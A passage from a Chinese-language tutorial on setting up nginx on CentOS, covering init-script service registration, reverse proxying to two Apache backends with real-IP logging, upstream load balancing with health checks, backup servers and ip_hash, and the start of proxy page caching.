        RETVAL=$? 
        echo 
    force_reload() { 
        restart 
    configtest() { 
      $nginx -t -c $NGINX_CONF_FILE 
    rh_status() { 
        status $prog 
    rh_status_q() { 
        rh_status >/dev/null 2>&1 
    case "$1" in 
        start) 
            rh_status_q && exit
            $1 
            ;; 
        stop) 
            rh_status_q || exit
            $1 
            ;; 
        restart|configtest) 
            $1 
            ;; 
        reload) 
            rh_status_q || exit
            $1 
            ;; 
        force-reload) 
            force_reload 
            ;; 
        status) 
            rh_status 
            ;; 
        condrestart|try-restart) 
            rh_status_q || exit
                ;; 
        *) 
            echo $"Usage: $0 {start|stop|status|restart|condrestart|try-restart|reload|force-reload|configtest}" 
            exit
    esac

    6.为此脚本赋予执行权限

    1
    [root@nginx ~]# chmod +x /etc/init.d/nginx

    7.添加至服务管理列表,并让其开机自动启动

    1
    2
    3
    4
    [root@nginx ~]# chkconfig --add nginx
    [root@nginx ~]# chkconfig nginx on 
    [root@nginx ~]# chkconfig nginx --list 
    nginx              0:关闭    1:关闭    2:启用    3:启用    4:启用    5:启用    6:关闭

    8.启动nginx

    1
    2
    [root@nginx ~]# service nginx start
    正在启动 nginx:                                           [确定]

    9.查看一下端口

    1
    2
    [root@nginx ~]# netstat -ntlp | grep :80
    tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN      3889/nginx

    10.测试一下

    t1

    好了,Nginx安装与配置就到这里,下面我们来说一说Nginx的反向代理。

    四、Nginx之反向代理

    在配置nginx反向代理之间我们得先准备两台测试服务器,Web1与Web2。

    1.安装httpd

    1
    2
    [root@web1 ~]# yum install -y httpd
    [root@web2 ~]# yum install -y httpd

    2.提供测试页面

    1
    2
    [root@web1 ~]# echo "<h1>web1.test.com</h1>" > /var/www/html/index.html
    [root@web2 ~]# echo "<h1>web2.test.com</h1>" > /var/www/html/index.html

    3.启动httpd服务

    1
    2
    3
    4
    [root@web1 ~]# service httpd start
    正在启动 httpd:                                           [确定]
    [root@web2 ~]# service httpd start
    正在启动 httpd:                                           [确定]

    4.测试一下

    t2

    t3

    5.简单说一下,正向代理与反向代理

    (1).正向代理的概念

           正向代理,也就是传说中的代理,他的工作原理就像一个跳板,简单的说,我是一个用户,我访问不了某网站,但是我能访问一个代理服务器,这个代理服务器呢,他能访问那个我不能访问的网站,于是我先连上代理服务器,告诉他我需要那个无法访问网站的内容,代理服务器去取回来,然后返回给我。从网站的角度,只在代理服务器来取内容的时候有一次记录,有时候并不知道是用户的请求,也隐藏了用户的资料,这取决于代理告不告诉网站。

           结论就是,正向代理 是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须要进行一些特别的设置才能使用正向代理。

    (2).反向代理的概念

    继续举例:    
           例用户访问 http://www.test.com/readme,但www.test.com上并不存在readme页面,他是偷偷从另外一台服务器上取回来,然后作为自己的内容返回用户,但用户并不知情。这里所提到的 www.test.com 这个域名对应的服务器就设置了反向代理功能。

           结论就是,反向代理正好相反,对于客户端而言它就像是原始服务器,并且客户端不需要进行任何特别的设置。客户端向反向代理的命名空间(name-space)中的内容发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端,就像这些内容原本就是它自己的一样。

    (3).两者区别

    用途上来讲:

           正向代理的典型用途是为在防火墙内的局域网客户端提供访问Internet的途径。正向代理还可以使用缓冲特性减少网络使用率。反向代理的典型用途是将防火墙后面的服务器提供给Internet用户访问。反向代理还可以为后端的多台服务器提供负载平衡,或为后端较慢的服务器提供缓冲服务。另外,反向代理还可以启用高级URL策略和管理技术,从而使处于不同web服务器系统的web页面同时存在于同一个URL空间下。

    安全性来讲:

           正向代理允许客户端通过它访问任意网站并且隐藏客户端自身,因此你必须采取安全措施以确保仅为经过授权的客户端提供服务。反向代理对外都是透明的,访问者并不知道自己访问的是一个代理。

    6.nginx 代理模块

    http 代理官方中文文档http://www.howtocn.org/nginx:nginx%E6%A8%A1%E5%9D%97%E5%8F%82%E8%80%83%E6%89%8B%E5%86%8C%E4%B8%AD%E6%96%87%E7%89%88:standardhttpmodules:httpproxy

    说明:代理模块的指令有很多我这里只讲解重要的proxy_pass,想了解更多代理指令请参考官方中文文档。

    这个模块可以转发请求到其他的服务器。HTTP/1.0无法使用keepalive(后端服务器将为每个请求创建并且删除连接)。nginx为浏览器发送HTTP/1.1并为后端服务器发送HTTP/1.0,这样浏览器就可以为浏览器处理keepalive。    
    如下例:

    1
    2
    3
    4
    location / {
      proxy_pass        http://localhost:8000;
      proxy_set_header  X-Real-IP  $remote_addr;
    }

    注意,当使用http proxy模块(甚至FastCGI),所有的连接请求在发送到后端服务器之前nginx将缓存它们,因此,在测量从后端传送的数据时,它的进度显示可能不正确。

    实验拓扑:

    nginx4

    7.配置http反向代理

    1
    2
    3
    4
    5
    6
    [root@nginx ~]# cd /etc/nginx/
    [root@nginx nginx]# cp nginx.conf nginx.conf.bak #备份一个原配置文件
    [root@nginx nginx]# vim nginx.conf
    location / {
                   proxy_pass      http://192.168.18.201;
           }

    指令说明:proxy_pass

    语法:proxy_pass URL
    默认值:no      
    使用字段:location, location中的if字段      
    这个指令设置被代理服务器的地址和被映射的URI,地址可以使用主机名或IP加端口号的形式,例如:
    proxy_pass http://localhost:8000/uri/;

    8.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    9.测试一下

    t4

    注,大家可以看到,当我们访问192.168.18.208时,被代理重新定向到Web1上。

    10.查看一下Web服务器日志

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [root@web1 ~]# tail /var/log/httpd/access_log
    192.168.18.208 - - [04/Sep/2013:00:14:20 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:14:20 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:14:20 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.138 - - [04/Sep/2013:00:14:45 +0800] "GET / HTTP/1.1" 200 23 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.138 - - [04/Sep/2013:00:14:48 +0800] "GET /favicon.ico HTTP/1.1" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:14:55 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:15:05 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:15:13 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:15:16 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"
    192.168.18.208 - - [04/Sep/2013:00:15:16 +0800] "GET /favicon.ico HTTP/1.0" 404 289 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.95 Safari/537.36"

    注,大家可以看到我们这里的客户的IP全是,nginx代理服务器的IP,并不是真实客户端的IP。下面我们修改一下,让日志的IP显示真实的客户端的IP。

    11.修改nginx配置文件

    1
    2
    3
    4
    location / {
            proxy_pass      http://192.168.18.201;
            proxy_set_header  X-Real-IP  $remote_addr; #加上这一行
    }

    指令说明proxy_set_header

    语法:proxy_set_header header value
    默认值: Host and Connection
    使用字段:http, server, location
    这个指令允许将发送到被代理服务器的请求头重新定义或者增加一些字段。这个值可以是一个文本,变量或者它们的组合。proxy_set_header在指定的字段中没有定义时会从它的上级字段继承。

    12.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    13.测试并查看日志

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [root@web1 ~]# tail /var/log/httpd/access_log
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.208 - - [03/Sep/2013:16:26:18 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

    注,大家可以看到日志记录的还是代理的IP,没有显示真实客户端的IP,为什么呢?我们来看一下httpd的配置文件。

    14.查看并修改httpd配置文件

    [root@web1 ~]# vim /etc/httpd/conf/httpd.conf

    t5

    注,大家可以这里记录日志的参数还是%h,下面我们修改一下参数。

    t6

    注,这是修改后的参数,将h%修改为%{X-Real-IP}i,好的下面我们再来测试一下。

    15.重启并测试

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [root@web1 ~]# service httpd restart
    停止 httpd:                                               [确定]
    正在启动 httpd:                                           [确定]
    [root@web1 ~]# tail /var/log/httpd/access_log
    192.168.18.138 - - [03/Sep/2013:17:09:14 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:14 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [03/Sep/2013:17:09:15 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

    注,大家可以看到现在的日志里记录的IP地址就是真实的客户端地址了。好了,到这里Nginx代理后端一台服务器就演示到这里,下面我们继续说。

    五、Nginx之负载均衡

    注,大家可以看到,由于我们网站是发展初期,nginx只代理了后端一台服务器,但由于我们网站名气大涨访问的人越来越多一台服务器实在是顶不住,于是我们加了多台服务器,那么多台服务器又怎么配置代理呢,我们这里以两台服务器为案例,为大家做演示。

    1.upstream 负载均衡模块说明

    案例:

    下面设定负载均衡的服务器列表。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    upstream test.net{
    ip_hash;
    server 192.168.10.13:80;
    server 192.168.10.14:80  down;
    server 192.168.10.15:8009  max_fails=3  fail_timeout=20s;
    server 192.168.10.16:8080;
    }
    server {
      location / {
        proxy_pass  http://test.net;
      }
    }

           upstream是Nginx的HTTP Upstream模块,这个模块通过一个简单的调度算法来实现客户端IP到后端服务器的负载均衡。在上面的设定中,通过upstream指令指定了一个负载均衡器的名称test.net。这个名称可以任意指定,在后面需要用到的地方直接调用即可。

    2.upstream 支持的负载均衡算法

    Nginx的负载均衡模块目前支持4种调度算法,下面进行分别介绍,其中后两项属于第三方调度算法。  

    • 轮询(默认)。每个请求按时间顺序逐一分配到不同的后端服务器,如果后端某台服务器宕机,故障系统被自动剔除,使用户访问不受影响。Weight 指定轮询权值,Weight值越大,分配到的访问机率越高,主要用于后端每个服务器性能不均的情况下。

    • ip_hash。每个请求按访问IP的hash结果分配,这样来自同一个IP的访客固定访问一个后端服务器,有效解决了动态网页存在的session共享问题。

    • fair。这是比上面两个更加智能的负载均衡算法。此种算法可以依据页面大小和加载时间长短智能地进行负载均衡,也就是根据后端服务器的响应时间来分配请求,响应时间短的优先分配。Nginx本身是不支持fair的,如果需要使用这种调度算法,必须下载Nginx的upstream_fair模块。

    • url_hash。此方法按访问url的hash结果来分配请求,使每个url定向到同一个后端服务器,可以进一步提高后端缓存服务器的效率。Nginx本身是不支持url_hash的,如果需要使用这种调度算法,必须安装Nginx 的hash软件包。

    3.upstream 支持的状态参数

    在HTTP Upstream模块中,可以通过server指令指定后端服务器的IP地址和端口,同时还可以设定每个后端服务器在负载均衡调度中的状态。常用的状态有:      

    • down,表示当前的server暂时不参与负载均衡。

    • backup,预留的备份机器。当其他所有的非backup机器出现故障或者忙的时候,才会请求backup机器,因此这台机器的压力最轻。

    • max_fails,允许请求失败的次数,默认为1。当超过最大次数时,返回proxy_next_upstream 模块定义的错误。

    • fail_timeout,在经历了max_fails次失败后,暂停服务的时间。max_fails可以和fail_timeout一起使用。

    注,当负载调度算法为ip_hash时,后端服务器在负载均衡调度中的状态不能是weight和backup。

    4.实验拓扑

    nginx3

    5.配置nginx负载均衡

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    upstream webservers {
          server 192.168.18.201 weight=1;
          server 192.168.18.202 weight=1;
      }
      server {
          listen       80;
          server_name  localhost;
          #charset koi8-r;
          #access_log  logs/host.access.log  main;
          location / {
                  proxy_pass      http://webservers;
                  proxy_set_header  X-Real-IP  $remote_addr;
          }
    }

    注,upstream是定义在server{ }之外的,不能定义在server{ }内部。定义好upstream之后,用proxy_pass引用一下即可。

    6.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    7.测试一下

    t7

    t8

    注,大家可以不断的刷新浏览的内容,可以发现web1与web2是交替出现的,达到了负载均衡的效果。

    8.查看一下Web访问服务器日志

    Web1:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [root@web1 ~]# tail /var/log/httpd/access_log
    192.168.18.138 - - [04/Sep/2013:09:41:58 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:41:58 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:41:59 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:41:59 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:42:00 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:42:00 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:42:00 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:44:21 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:44:22 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:44:22 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

    Web2:

    先修改一下,Web服务器记录日志的格式。

    1
    2
    3
    4
    5
    [root@web2 ~]# vim /etc/httpd/conf/httpd.conf
    LogFormat "%{X-Real-IP}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
    [root@web2 ~]# service httpd restart
    停止 httpd:                                               [确定]
    正在启动 httpd:                                           [确定]

    接着,再访问多次,继续查看日志。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    [root@web2 ~]# tail /var/log/httpd/access_log
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:28 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:29 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"
    192.168.18.138 - - [04/Sep/2013:09:50:29 +0800] "GET / HTTP/1.0" 200 23 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)"

    注,大家可以看到,两台服务器日志都记录是192.168.18.138访问的日志,也说明了负载均衡配置成功。

    9.配置nginx进行健康状态检查

    • max_fails,允许请求失败的次数,默认为1。当超过最大次数时,返回proxy_next_upstream 模块定义的错误。

    • fail_timeout,在经历了max_fails次失败后,暂停服务的时间。max_fails可以和fail_timeout一起使用,进行健康状态检查。

    1
    2
    3
    4
    5
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    upstream webservers {
            server 192.168.18.201 weight=1 max_fails=2 fail_timeout=2;
            server 192.168.18.202 weight=1 max_fails=2 fail_timeout=2;
        }

    10.重新加载一下配置文件

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    11.停止服务器并测试

    1
    2
    3
    先停止Web1,进行测试。
    [root@web1 ~]# service httpd stop
    停止 httpd:                                               [确定]

    t8

    注,大家可以看到,现在只能访问Web2,再重新启动Web1,再次访问一下。

    1
    2
    [root@web1 ~]# service httpd start
    正在启动 httpd:                                           [确定]

    t7

    t8

    注,大家可以看到,现在又可以重新访问,说明nginx的健康状态查检配置成功。但大家想一下,如果不幸的是所有服务器都不能提供服务了怎么办,用户打开页面就会出现出错页面,那么会带来用户体验的降低,所以我们能不能像配置LVS是配置sorry_server呢,答案是可以的,但这里不是配置sorry_server而是配置backup。

    12.配置backup服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    server {
                    listen 8080;
                    server_name localhost;
                    root /data/www/errorpage;
                    index index.html;
            }
    upstream webservers {
            server 192.168.18.201 weight=1 max_fails=2 fail_timeout=2;
            server 192.168.18.202 weight=1 max_fails=2 fail_timeout=2;
            server 127.0.0.1:8080 backup;
        }
    [root@nginx ~]# mkdir -pv /data/www/errorpage
    [root@nginx errorpage]# cat index.html
    <h1>Sorry......</h1>

    13.重新加载配置文件

    1
    2
    3
    4
    [root@nginx errorpage]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    14.关闭Web服务器并进行测试

    1
    2
    3
    4
    [root@web1 ~]# service httpd stop
    停止 httpd:                                               [确定]
    [root@web2 ~]# service httpd stop
    停止 httpd:                                               [确定]

    t9

    注,大家可以看到,当所有服务器都不能工作时,就会启动备份服务器。好了,backup服务器就配置到这里,下面我们来配置ip_hash负载均衡。

    15.配置ip_hash负载均衡

    • ip_hash,每个请求按访问IP的hash结果分配,这样来自同一个IP的访客固定访问一个后端服务器,有效解决了动态网页存在的session共享问题。(一般电子商务网站用的比较多)

    1
    2
    3
    4
    5
    6
    7
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    upstream webservers {
            ip_hash;
            server 192.168.18.201 weight=1 max_fails=2 fail_timeout=2;
            server 192.168.18.202 weight=1 max_fails=2 fail_timeout=2;
            #server 127.0.0.1:8080 backup;
        }

    注,当负载调度算法为ip_hash时,后端服务器在负载均衡调度中的状态不能有backup。(有人可能会问,为什么呢?大家想啊,如果负载均衡把你分配到backup服务器上,你能访问到页面吗?不能,所以了不能配置backup服务器)

    16.重新加载一下服务器

    1
    2
    3
    4
    [root@nginx ~]# service nginx reload
    nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
    nginx: configuration file /etc/nginx/nginx.conf test is successful
    重新载入 nginx:                                           [确定]

    17.测试一下

    t10

    注,大家可以看到,你不断的刷新页面一直会显示的民Web2,说明ip_hash负载均衡配置成功。下面我们来统计一下Web2的访问连接数。

    18.统计Web2的访问连接数

    1
    2
    [root@web2 ~]# netstat -an | grep :80 | wc -l
    304

    注,你不断的刷新,连接数会越来越多。好了,nginx的负载均衡就全部演示到这里下面我们来说一说,页面缓存。

    六、Nginx之页面缓存

    1.指令说明

    proxy_cache_path

    语法:proxy_cache_path path [levels=number] keys_zone=zone_name:zone_size [inactive=time] [max_size=size];  
    默认值:None  
    使用字段:http  
    指令指定缓存的路径和一些其他参数,缓存的数据存储在文件中,并且使用代理url的哈希值作为关键字与文件名。levels参数指定缓存的子目录数,例如:

    1
    proxy_cache_path  /data/nginx/cache  levels=1:2   keys_zone=one:10m;

    文件名类似于:

    1
    /data/nginx/cache/c/29/b7f54b2df7773722d382f4809d65029c

    levels指定目录结构,可以使用任意的1位或2位数字作为目录结构,如 X, X:X,或X:X:X 例如: “2”, “2:2”, “1:1:2“,但是最多只能是三级目录。  
    所有活动的key和元数据存储在共享的内存池中,这个区域用keys_zone参数指定。one指的是共享池的名称,10m指的是共享池的大小。  
    注意每一个定义的内存池必须是不重复的路径,例如:

    1
    2
    3
    proxy_cache_path  /data/nginx/cache/one    levels=1      keys_zone=one:10m;
    proxy_cache_path  /data/nginx/cache/two    levels=2:2    keys_zone=two:100m;
    proxy_cache_path  /data/nginx/cache/three  levels=1:1:2  keys_zone=three:1000m;

    如果在inactive参数指定的时间内缓存的数据没有被请求则被删除,默认inactive为10分钟。一个名为cache manager的进程控制磁盘的缓存大小,它被用来删除不活动的缓存和控制缓存大小,这些都在max_size参数中定义,当目前缓存的值超出max_size指定的值之后,超过其大小后最少使用数据(LRU替换算法)将被删除。内存池的大小按照缓存页面数的比例进行设置,一个页面(文件)的元数据大小按照操作系统来定,如FreeBSD/i386下为64字节,FreeBSD/amd64下为128字节。

    proxy_cache

    语法:proxy_cache zone_name;  
    默认值:None  
    使用字段:http, server, location  
    设置一个缓存区域的名称,一个相同的区域可以在不同的地方使用。  
    在0.7.48后,缓存遵循后端的”Expires”, “Cache-Control: no-cache”, “Cache-Control: max-age=XXX”头部字段,0.7.66版本以后,”Cache-Control:“private”和”no-store”头同样被遵循。nginx在缓存过程中不会处理”Vary”头,为了确保一些私有数据不被所有的用户看到,后端必须设置 “no-cache”或者”max-age=0”头,或者proxy_cache_key包含用户指定的数据如$cookie_xxx,使用cookie的值作为proxy_cache_key的一部分可以防止缓存私有数据,所以可以在不同的location中分别指定proxy_cache_key的值以便分开私有数据和公有数据。  
    缓存指令依赖代理缓冲区(buffers),如果proxy_buffers设置为off,缓存不会生效。

    proxy_cache_valid

    语法:proxy_cache_valid reply_code [reply_code …] time;  
    默认值:None  
    使用字段:http, server, location  
    为不同的应答设置不同的缓存时间,例如:

    1
    2
    proxy_cache_valid  200 302  10m;
    proxy_cache_valid  404      1m;

    为应答代码为200和302的设置缓存时间为10分钟,404代码缓存1分钟。  
    如果只定义时间:

    1
    proxy_cache_valid 5m;

    那么只对代码为200, 301和302的应答进行缓存。  
    同样可以使用any参数任何应答。

    1
    2
    3
    proxy_cache_valid  200 302 10m;
    proxy_cache_valid  301 1h;
    proxy_cache_valid  any 1m;

    2.定义一个简单nginx缓存服务器

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [root@nginx ~]# vim /etc/nginx/nginx.conf
    proxy_cache_path /data/nginx/cache/webserver levels=1:2 keys_zone=webserver:20m max_size=1g;
       server {
           listen       80;
           server_name  localhost;
           #charset koi8-r;
           #access_log  logs/host.access.log  main;
           location / {
                   proxy_pass      http://webservers;
                   proxy_set_header  X-Real-IP  $remote_addr;
                   proxy_cache webserver;
